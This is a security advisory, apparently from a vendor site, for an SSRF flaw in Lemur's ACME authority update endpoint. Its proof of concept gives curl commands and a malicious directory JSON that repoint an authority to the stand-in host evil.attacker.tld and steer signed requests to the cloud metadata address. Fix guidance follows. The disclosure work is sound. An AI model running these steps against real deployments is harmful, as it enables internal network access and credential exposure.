Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
PYSEC-2026-3680
Summary
The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.
Detail
Defect A - allowlist only at creation.
_validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:
# lemur/authorities/views.py:417-424 (Authorities.put)
return service.update(
authority_id,
owner=data["owner"], description=data["description"],
active=data["active"], roles=data["roles"],
options=data.get("options") # <- acme_url lives here, NO re-validation
)
AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."
Defect B - ACME client follows server-supplied URLs.
setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:
get_directory(acme_url)-> server returnsnewNonce,newOrder,revokeCert,keyChangeURLs.new_order()-> server returnsfinalizeandauthorizationsURLs.poll(),finalize_order(), cert download -> all hit server-chosen URLs.
A malicious ACME server can return internal URLs for all of these.
Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.
Source-to-sink trace:
PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
-> service.update(options={"acme_url":"https://evil.attacker.tld/dir"}) <- no re-validation
… next certificate issuance against this authority …
setup_acme_client_no_retry reads acme_url=evil.attacker.tld
-> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
-> Lemur POSTs JWS-signed request to internal URL
Steps to Reproduce (POC)
Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:
# Minimal: a directory endpoint that points "newOrder" at an internal target
{
"newNonce": "https://evil.attacker.tld/nonce",
"newOrder": "http://169.254.169.254/latest/meta-data/", # <- internal
"revokeCert": "https://evil.attacker.tld/revoke",
"keyChange": "https://evil.attacker.tld/key"
}
Step 2 - Attacker (authority-role member) repoints an existing ACME authority:
curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
-H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
-d '{
"name":"letsencrypt",
"owner":"attacker@corp.com",
"description":"x","active":true,
"roles":[{"id":7,"name":"letsencrypt_operator"}],
"options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
}'
Step 3 - Issue a certificate against the repointed authority (via UI/API):
curl -k -X POST https://lemur.example.com/api/1/certificates \
-H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
-d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
"authority":{"name":"letsencrypt"},"validityYears":1}'
The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)
Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.
Impact
- JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
- Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.
Fix
- Re-run
_validate_acme_urlinsideauthorities/service.update/update_options, or makeacme_urlimmutable after authority creation. - In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured
acme_urlhostname.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard